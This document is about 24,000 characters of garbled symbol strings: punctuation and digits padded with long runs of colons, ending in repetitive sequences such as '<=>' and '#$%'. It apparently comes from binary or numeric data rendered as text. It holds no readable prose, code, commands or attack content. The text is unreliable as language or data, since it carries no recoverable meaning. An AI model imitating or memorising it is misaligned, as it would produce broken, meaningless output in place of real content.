&"*($%.0&*&-'#2++-!"#'&'*-&*"-%"..-'"%#.&)$2::::::::::::::::::::::::::::::::::::::::::::: 1.0/',%*#)2%#),.'1$ 320% !-#:::::::::::::::::::::::::::::::::::::::--*&/)"& "+4/ %)'(&+)"/'),:::::::::::::::::::::::::::::::::::::::::::::::::::::::./)/+*)2.:::::::::::::::::::::::.$##)*.%$')%%#"-$,!*-&%*/-#&)#/ )-&!)+&+/&- +/*)::::::::::::::::::::::::::::::::::::::::::::::+!.#+"&,+' %!--.!3./$+&+#0:::::::::::::::::::::::::::::::::::::::::)1,!'/'$%&*!-''%"/&#*(%&)%:::::::::::::::::::::::::::::::::::::::::::::::::::::::+$'-1)%)0:::::::::::::::::::::::::) + -+-*#.-)&&)#/+&*-%$' )*$%+1+ *+&/)+&&(:::::::::::::::::::::::::::::::::::::::::::::::: ,$#..)%"1+-#%*#%+-1&-::::::::::::::::::::::::::::::::::::::::::)00!""*!#&$1++$"/"* !#+++0'.$&:::::::::::::::::::::::::::::::::::::::::::::::::::::.".42&0)*2:::::::::::::::::::::::::::%/-+%#) -$.)!+-,&$$-$(-'!##$""'')'#.!,*&0',#"&:::::::::::::::::::::::::::::::::::::::::::::::::+&,-!#"#%"3 "-1.:::::::::::::::::::::::::::::::::::::::::::::-,/1"''+&+%*%,&0-)&+ */+00%/ &*:::::::::::::::::::::::::::::::::::::::::::::::::::::,(&(*""*&0::::::::::::::::::::::::::::-+!%(,(,"4++#!,!/*-,.#&'*!%%.1&&+).%))..:::::::::::::::::::::::::::::::::::::::::::::::::::#"+*.*.+.%.#-&-:::::::::::::::::::::::::::::::::::::::::::::0* ## )/)"%)2(*2$+"*)-+#01(:::::::::::::::::::::::::::::::::::::::::::::::::::::%+!--%)"'!::::::::::::::::::::::::::::"!'"'/')%!$1/*-+)(!*!-$2-*1&(-/-60*1+ ''(!*:::::::::::::::::::::::::::::::::::::::::::::::::::::::::,!0#0' $$::::::::::::::::::::::::::::::::::::::::::::152/++#%!*.+21!.+&'$/.$"!+)%/*':::::::::::::::::::::::::::::::::::::::::::::::::::::)$# $$-&%:::::::::::::::::::::::::::::,$!,/(+).-1+'$-, ,"$&-#*+0!").)+4)'!/%('&"$"':::::::::::::::::::::::::::::::::::::::::::::::::::::::::'!##$ %* ::::::::::::::::::::::::::::::::::::::::::::**% !'*'&-%&+-','!&0)(%#"$ %'%*::::::::::::::::::::::::::::::::::::::::::::::::::::$%./##-'0::::::::::::::::::::::::::::::+)&,)$/( *%%-%.+0&+(.%%*/'-!(%')"" (*+"&#":::::::::::::::::::::::::::::::::::::::::::::::::::::::::)&)(*)!&:::::::::::::::::::::::::::::::::::::::::::0--*-!.+,2/12"0,%30 %-+*#&)" 1& ::::::::::::::::::::::::::::::::::::::::::::::::::::'$ &%#!%:::::::::::::::::::::::::::::::"$" +')--')&-)+--+.*-$$(2-&,"1&!/20 $-&$&!!::::::::::::::::::::::::::::::::::::::::::::::::::::::::&'($1/',":::::::::::::::::::::::::::::::::::::::::::!/.)(.$&,'($.3/2-'-"&#'/&').(:::::::::::::::::::::::::::::::::::::::::::::::::::*#-%&#!&:::::::::::::::::::::::::::::::-'+-/&&"0$%%%-. &0)&/ +2$*-(%"-$/-!( -)",+!'$&#&-.!::::::::::::::::::::::::::::::::::::::::::::::::%&$/",&::::::::::::::::::::::::::::::::::::::::::-)*%&#)(/,$''-'",00"#-*#%'/%'"&-:::::::::::::::::::::::::::::::::::::::::::::::::::)&*)' ($:::::::::::::::::::::::::::::::::))+/+&#/$$). ''%"2(%-/1(#'$0+/ /,(*!%&+" &"#&&'10!::::::::::::::::::::::::::::::::::::::::::::::))#%"%//+::::::::::::::::::::::::::::::::::::::::::-$%0,/!-,0# ,".3%)& )+12"".(-#&$$:::::::::::::::::::::::::::::::::::::::::::::::::::)' -+%%::::::::::::::::::::::::::::::::::!))..#-"+*.!!//&)/$%!.""-$%,%.$-.),+)!/*3'&!$/$ +&%.-:::::::::::::::::::::::::::::::::::::::::::::'((0(#-6::::::::::::::::::::::::::::::::::::::::::!-!'-&#$%#*#$0 0.*$/(&&,)0!,//"%):::::::::::::::::::::::::::::::::::::::::::::::::::&/' /").:::::::::::::::::::::::::::::::::::$%1!$)'1!$+!/112")0  0!.*%*!&&'!1$.-/+%&$)%'/'!&)/:::::::#"!%0$":::::::::::::::::::::::::::::::'$0&'+(./::::::::::::::::::::::::::::::::::::::::::/'*.0%()(-%*'3.!-'!/%*%"$(+%1/""'::::::::::::::::::::::::::::::::::::::::::::::::::::!# &%/-::::::::::::::::::::::::::::::::::::#!)(**.'0-(#/"%)(3*.*/&-&%%",++**$$/)&/"(-$)&(0++3::::::'*+) "#/$'.:::::::::::::::::::::::::::!!) %%%'+::::::::::::::::::::::::::::::::::::::::::,-(+%.!.+*)% ,! "" %&0&)#0 3+&(+::::::::::::::::::::::::::::::::::::::::::::::::::::(2,#(-2,:::::::::::::::::::::::::::::::::::::#)$0 /+"&%%*!.*-3,0" -"1(&(",.-::$-/(.&. .-'*%%:::::%.$!.%03-&'-%#&::::::::::::::::::::::.)(-% "(::::::::::::::::::::::::::::::::::::::::::-%)#'-)*-$#!0)).*&)!-".!-)*3'+//+3:::::::::::::::::::::::::::::::::::::::::::::::::::::+$'"+%/::::::::::::::::::::::::::::::::::::::,%2+0,'$ ."*'""."'*&$%1&&',*:::::::::::::-%'&'('-:::::# /.')/#%.")++-"0:::::::::::::::::::::. )-$-0'&*%::::::::::::::::::::::::::::::::::::::::::30.../"*#/1),'*%$"&.&*$1/%"*.&-!'0:::::::::::::::::::::::::::::::::::::::::::::::::::::$/! $0':::::::::::::::::::::::::::::::::::::::"&-&$**.!& .%%"$#.*"/(&/#+.:::::::::::::::::)/+ '$:::::!" +$!#,)*&$/&*$%&::::::::::::::::::0%%((&%"&%#!::::::::::::::::::::::::::::::::::::::::::)%!&'0(%%)()$'$((+,$+*#0"!+.0 #-&':::::::::::::::::::::::::::::::::::::::::::::::::::::"--"%2-::::::::::::::::::::::::::::::::::::::::::*+!".+',&0**&*%)',.!,":::::::::::::::::::0 ,::::::&&!%"&",./,0/'-/::::::::::::::: **'$+./ !%/:::::::::::::::::::::::::::::::::::::::::%"'#''$+!.!,+0)$&"!/ '*$')-'.."-!:::::::::::::::::::::::::::::::::::::::::::::::::::::#+!.'-$:::::::::::::::::::::::::::::::::::::::::::::+-':/),)!*#-%,'::0::::::::::::::::::::::::::::::::#!% 0&)++-/*'!1!,-0 (&(::++0 :::"'%0'.)1-.+(:::::::::::::::::::::::::::::::::::::::+-""-+1&2&$. "$0" &%/&0, -*'$10,,,+#"::::::::::::::::::::::::::::::::::::::::::::::::::::::"%!/+",:::::::::::::::::::::::::::::::::::::::::::::::::::::::'+!$:::::::::::::::::::::::::::::::::::::::-$./3$*)"%&*)"*.",/0/-1'+,41$').&#-4''$*% +/$:::::::::::::::::::::::::::::::::::/*'-&/%/$#,%,&$##*!-"0/'".*'**%/.//::::::::::::::::::::::::::::::::::::::::::::::::::::::+)$.$0$::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::*%/&)./'"%&$+&2$*/.,-0!.(') !%0.**".#!*/':::::::::::::::::::::::::::::::::&"//#*,&3%)-"***3)-*+%* #" "-%#&"'1&&':::::::::::::::::::::::::::::::::::::::::::::::::::::**/.!.!:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::3.+)(!0$.* -"/&( /.++(/$$-)"1'/+ '# !#00)")-:::::::::::::::::::::::::::::::%'!.) /0"#/+*#'%(#-$%(&)0..+ %/*"+"3$/!,::::::::::::::::::::::::::::::::::::::::::::::::::::12#-*!'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::-!).0")&$0-#)%+'&/",*#(%&"-.1/(.)// $)!/":::::::::::::::::::::::::::&!-#/)-,+"!#+-#)%(- !+!"(,(*'0*%$-%%** *$/:::::::::::::::::::::::::::::::::::::::::::::::::::://+$,-)::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::-*-* (#0*1&/$3(/#."$)*""! +'12(+1''#%*$/.3%!::::::::::::::::::::::::) %#$)%4'&//*'-1 %"& ##-+*-%"5!&!(+)),#"## !:::::::::::::::::::::::::::::::::::::::::::::::::.0-/%0:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::*!(%-")/,0-3-'-"%#&+-&.'0+0$$"." *!*$. &,$::::::::::::::::::3#$*0$!".-)"",**&%"%!%-'0/%%%--#'.1+,*&/1'%(+$-'::::::::::::::::::::::::::::::::::::::::::::::::*'-'0/:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::)*)2#- (.(,($#&//''&)--2!'#*$ ).$#)+0* &.!*+:::::::::::::::-/*.& ++1" 0$$+/.!" /$-+.$ %,$+!2#.'&+&*3/&"0&'-"*::::::::::::::::::::::::::::::::::::::::::::::+-"'$(*:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::,)**# /)*. #&.''-(.00 -$/#$/,$!# +'*!/+. %"::::::::::::1###/0&$) !%+'.*.::+/(+$1*&+!"'30&2-&"$*!)#)!!"+$%*'::::::::::::::::::::::::::::::::::::::::::::::)'/*)'!::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+-/+###',..$#&-!% &".2-!**+& )!%2 &-+'*!'/&).2')+#)/'::::0(13+"1,!&%$0.3%(-!&$/#/:::)(+*+'0+%::::::::::::::::::::::::::::::::::::::::::::%"%)+%#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::-3#/.$ .+ .%:::::)2%'/-#%$&")'$/$--) !"%$$ %3#)#'":::::::+4$&./($ .*.%%+++&%/$,):::' "#"/'"- ::::::::::::::::::::::::::::::::::::::::::::#"&%%":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::4% #/0#*/:::::::$ & 004)"+)-$ -#.')/' .$!/#.,#:::::::::::::'""*0*&-%!-. %*&'.1:::::-0#($*0&% ::::::::::::::::::::::.!0::::::::::::::::::%("& :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::')#&($/03-:::::::::/#)+,&% '/-&&&"0-$ 0'*:::::::::::::::::::.#'$3)$%#/&"%/0::::::::''+1$+2+*:::::::::::'')'0+1%/-$#1:::::::::::::::::"$,*) :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::/3$&.$%$+&::::::::::: %%)$$)/! *# #"--.(#/:::::::::::::::::::::::::::::::(%! ::::::::::0/('$!+!($2!$:) /.)"&$""%&!-!,*&:::::::::::::::::/.(/%-+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"0.0%.0%,!:::::::::::::::. $$"& #.)+!!&)::::::::::::::::::::::::::::::::::::::::::::::::&)$2 %+$2&&."!$#/ #"%/#&//:::::::::::::::::"!)&$!):::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::)/)) //"::::::::::::::::::/(&"1)),#:::::::::::::::::::::::::::::::::::::::::::::::::::::!**/$)*0*&**#( +''%0#!&-0")"0&:::::::::::::::::')%4-.'+:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::0,!'.(&/!+::::::::::::::::::::.#(::::::::::::::::::::::::::::::::::::::::::::::::::::::::::%.#/"" /3+*-% /#)#*$'")!+&-)*#!":::::::::::::::::23'--*2":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::*.+ ".0'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::)(+*+-&$&/,)/#--/'+*!%!+$//-&/$/:::::::::::::::::*2&"!))!:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::!%&&"'#0:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::&%%(&/+0+& 2),. ()/&&.-)-/::::::::::::::::::: $*--*($:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::--!%/!)'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::#-(+)$+!*/+#.'+.%3+)"*,/3/:::::::::::::::::::::.+/..$$:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::'/'#!!%&$::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::$#$-*3#".!$+-/"%%/"+0::::::::::::::::::::::::::')$2"*! ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+"*+ +0('::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::)/%*" #("/"$#&$::::::::::::::::::::::::::::&- &./(.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::&3$%+1&+*::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::%#(%0)0 0&"*,::::::::::::::::::::::::::::::::&!/!):::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::/)1/-!+/:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::,2."%)+:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::%""(&-'!,':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"#! $-%:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"# +!.$%-&1::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+$#+'"::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+!-(0)0-*(&::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::."::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::&*&&&"&/$"::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.-4%(/4,1.'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::%+"#0*3#$-:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::-.,1!"!/3-:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"'".-&% 2:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::%2%(-&! ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::,( ,::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::5&::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::]K::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::V:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: t ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::p:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::ֿ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::o::::::::::::::::::::::::::::::::::::::::::::::::::/y:::::::::::::::::::::::::::::::::::::::::::::::::3=>=%&%&%&$%$%&%&'('('('('('()()()()()()('('('('('('('('('('('('('&'&'&'&'&'&%&%&%&%$%$%$%&%$=>=>=>$#$#"!"!"!"!!"!"$>=&%'&'&'('('()()()()()('('&'&%&%$%=>=>=$#"!"!"!"!"#"$>=>=>=>=<=<=%&'&'&'&'('('('('(:;:;:;:)()()()()()()()('('('('('('('('('&'&'&'&'&%&%&%$%&%=<=<=>=>=>=>=>#$#"!"!"!!"!"$=>=>=<&'&'<;:;:;:;:)('('&'&%&%=<=>=>=>#$#"!"!"!"!"!"#$>=>=>=>=<=<=<=<=<'&';<;<;<;<;<;<;:;:;:;:;:;:;:;:;:)*)()('('('('('('&'&'&'&'&%&%&%&%&<=<=<=<=>=>=>=>=$#$"!"!"!!"$>=>=<=<;<;:;:;:;:)()()()'&'&%&<=>$#"!""!"!"#$#>=>=>=>=<=<=<=<=<;<;<;<;<;<;<;:;:;:;:;:;:;:;:9:9:9:9:9:)*)()()()()('('&'&'&'&'&%&%&=<=<=<=<=>=>=>=>#$#"!"!!"$>=>=<=<;<;()()*)*:*)()('&'&%&<=<=>#$#""!"!"#$>=>=>=<=<=<=<=<;<;<;<;('('('()()()()()*)*)*)*)*)*)*)*9:9:9:9:9:9:9:)*)*)*:;:)()()'('&'&'&'&%&%'&'<=<=<=<=>=>=>=$#$"!"$>=>=<=<;'()*)*)*)*:9:9:9:9:):()('('&'&'&<=<=<=>$#""!"#"$%=>=>=<=<=<=<=<;<;'('('('('('('('()()()()()()()()*)*)*:9:9:9:9:):9:9:9:;:;:)()'('&'&'&('&'&'&<=<=<=<=>=>=$#$"#!"!"$>=<=<'(&'&'()*9:9:9:9:9:)()'('('(';<=<=<=>=>$""#"$%=>=>=<=<=<=<=<;<;<;('('&'&'('('('()()()()()*)*)*)*)*)*+*+9:9:9:9:9:9:9:9:;:;()(')('('<;<;<;<;<;<=<=<=<=<=>=>=>=$"#"!"$=>=<=<;<;('('()()()*)*)*)*9:9:9:9:)(;<;<=<=<=>$#""!"#"$%=>=>=<=<=<=<=<;<;<;<;<'('('('('()()()()()*)*)*)*)*)*)*)*)*)*)*)+*+9:9:9:9:9:9:9:9:;:)()(;:;:;:;<;<;<;<;<;<=<=<=<=<=<=>=>$%#"#""#$>=<=<;<;()'()()()*)*+*+9:9:9:;:;'<=$#""#"#"#$%$>=<=<=<=<=<;<;<;<;<;:;()()('()()()()()*)*)*)*)*)*+*9:9:9:9:9:9:9:9:;:;:;:;:;:;'('&';<=<=<=<=<=%$%"#"#"#""#"#%$%=<=<;<;:)()()()*+*+*+*+9:;:;('(&'<=$%$#""#"#"#$%$=<=<=<=<=<;<;<;<;<;:;:;:;:;()*)()()*+*+*+*+*+*+*+*+*+*+*+*+*989:9:9:9:9:9:9:;:;()()('&'&'&'&<=<=<=<=$%$"#"#"#""#"#$%=<=<;<;:;:)*)*()*+*+*+*+*+*+9:9:)()('&'&'&'<=<=%$#"#""#"#"#$%=<=<=<=<=<;<;<;<'(';:;:;:;:;:)*)*)+*+*+*989+,+,*+*+*+*+*+*,+9898989:9:9:9:9:)*)('('('('&'&'&'&'&'&<=<=<=<=%$#$#"#"#""#%=<=<;<;(;:;:9*98989+,+*+*+989:*)('('&'&'&<=%$#$#"#"#"#"#$#%&%=<=<=<=<;<;<'('('()(;:;:;:;:9:9:*+*98989898989+,+,*+,+,+,+98989898989:9:9:9*)*('('('('&'&'&%&%'&'&<=<=<&%#$#$#"#""#$#%&%=<=<;<'('(&'()():9:9:9*989898,+,898989:*)('('&'&%&<=%$#$#"#"#"#$#$#&%&%&=<;<'('('(&'&'()():9:9:9:9:98989898989898989+,+,+,+8989898989898989:9:*)()('('('&'&'&%&%&=<=<&%#$#$#"#""#$#$%&<'&'):9:989898,8+,8989*)()('&%&<=<=%$#$#"##"#"#"#$#$&'&<;<'('&'&'&'('('()*)*)*9:9:9:9898989898989898787878,+,+,8989898989+*)()()('('('&'&'&%&%&'&<=<&%&#$#$#"#""#$%$&<'&'('()*:989898,+898989*)('&%&<=%$#"##"#"#$#$#$#$%$%&'&<'&'&'&'('('()()*+*989898989898787878787-,-,+,+,+,89898989*)()()('('('&'&'&%&%&'&=<=%&%$#$#$#"#""#"#$#$%&'<'&'('()()(*+98987878,-,-,+,+,+,+9*)()('('&'&%'&<&%&$#"##"#$#$#$%$%$%&'&<;<'('&'&'&'('()()*+*+9898989898787878787878,-,-,+,+,+,+,+,+,+989:9*()()()('('('&'&'&%'&'<=%&%#$#$#$#"#""#$#$%&'<'&'()()*+98987878787-,+,+,+9*)('&'&<&$#$##"#"#$#$#$%$%&'&<;<'('&'&'&'('('('()()()+*+989898989878787878787-,-,+,+,+*+*+989:9*)*)*)('('('&'&'&'&%'&'<=%&%$#$#$#""#$%&'<;'&'&'('()*+989878787-,-,+,+*+9*)('&'&'&<&%&$##"#$#$#$#$%$%$%&'&<;<'('&'&'('('()()()()*)+*+8989898987878787878787-.,-,-,-,-,+,+,+*+*,+989:9:9:)*)*)'('('&'&'&%'&';<=%&%$#$#$"#""#$%'&'<'(&'('()*+9898787-,-,+*+9:9:)'('&'&<&$##"#$#$#$%$%$%&'&<;<'('&'&'('('()()()*)*+9898987878787878787-.-,-,-,-,-,+,+,+,+*,+,+989:9:9:9:9:)()'('&'&'&%'&'<=&%$#$#$#"#$%&'<;'(&'&'()+898787.-.-,-,+,+,8989:)'&'<&$##"#$#$#$#$%$%$%&'&<;<'('&'&'('('('()()()()*)+,+9898978787878787-.-.-,-,-,-,-+,+,+,+,+9898989:9:9:9:9:9:)('(&'&'&'&%'&';<'%&$%$#$#$#""#$%$%'<;'(&'&'()()*+89878787.-,-,+,+,8989:)('&'&'&<&%$##"#$#$%$%$%&'&<;<'('&'&'('()()()*+*+98989898787878787.-.-.-.-,-,-,-,+,+,989898989:9:9:9:;()('&'&'&%'&'<&$%$#$#$#"#$%'&'<;('(&'()*+9898787.-.-.-,-,+,89:9:9:)()'&'<&%$##"#$#$#$#$%$%$%&'&<;<'('&'&'('('('()()(+*+*:98989+,+8787878787-./-.-.-.-.-,-,-,+,+89898989:9:9:9:9:9:;()('&'&'&%'&';<'&$%$#$#$#""#$%$%'<;'(&'&'()*989+,8787.-.-,898989:()('&'&'<&%$##"#$#$%$%$%&'&<;<'('&'&'('('('(*)*+9:98,+,+,-,-,878787-.-./-.-.-././.-,-,-,+,+-,89898989:9:9:9:;:)()'&'&'&'&<;<&$%$#$#$#"#$%'&'<;('(&'(*9+,+,-787-.-.-.-/./.-,-,-,89:9:9:()('&'<&%$#$##"#$#$#$#$%$%$%&'<;<'('&'&'('('()*)*):9:9:9:*+,+*+*+,-,878-.-.-,-./././.-.-,-,89898989:9:9:9:9:9:;:)()'&'&'&'<;<'&$%$#$#$#""#$%$%'<;'(&'&'()*:9+*+,-87-,-./67.-78989:()('&'&'<&%$##"#$#$%$%$%&'&<;<'('&'&')*9:9:9:9+*+)*+*+*+,-,878-.-,-,-,-././676767676.-.-878787878989898989:9:9:9:;:)()'&'&'&'&<;<&$%$#$#$#"#$'&'&'<;('(&'):9:*+*)*+*+,878-.,-/./6767676789:9:9:()('&'<'&$%$##"#$#$#$#$%$&'&'<;<'('(&'()();:9:*+*+*)*)*+*,-787-,-,-,-,/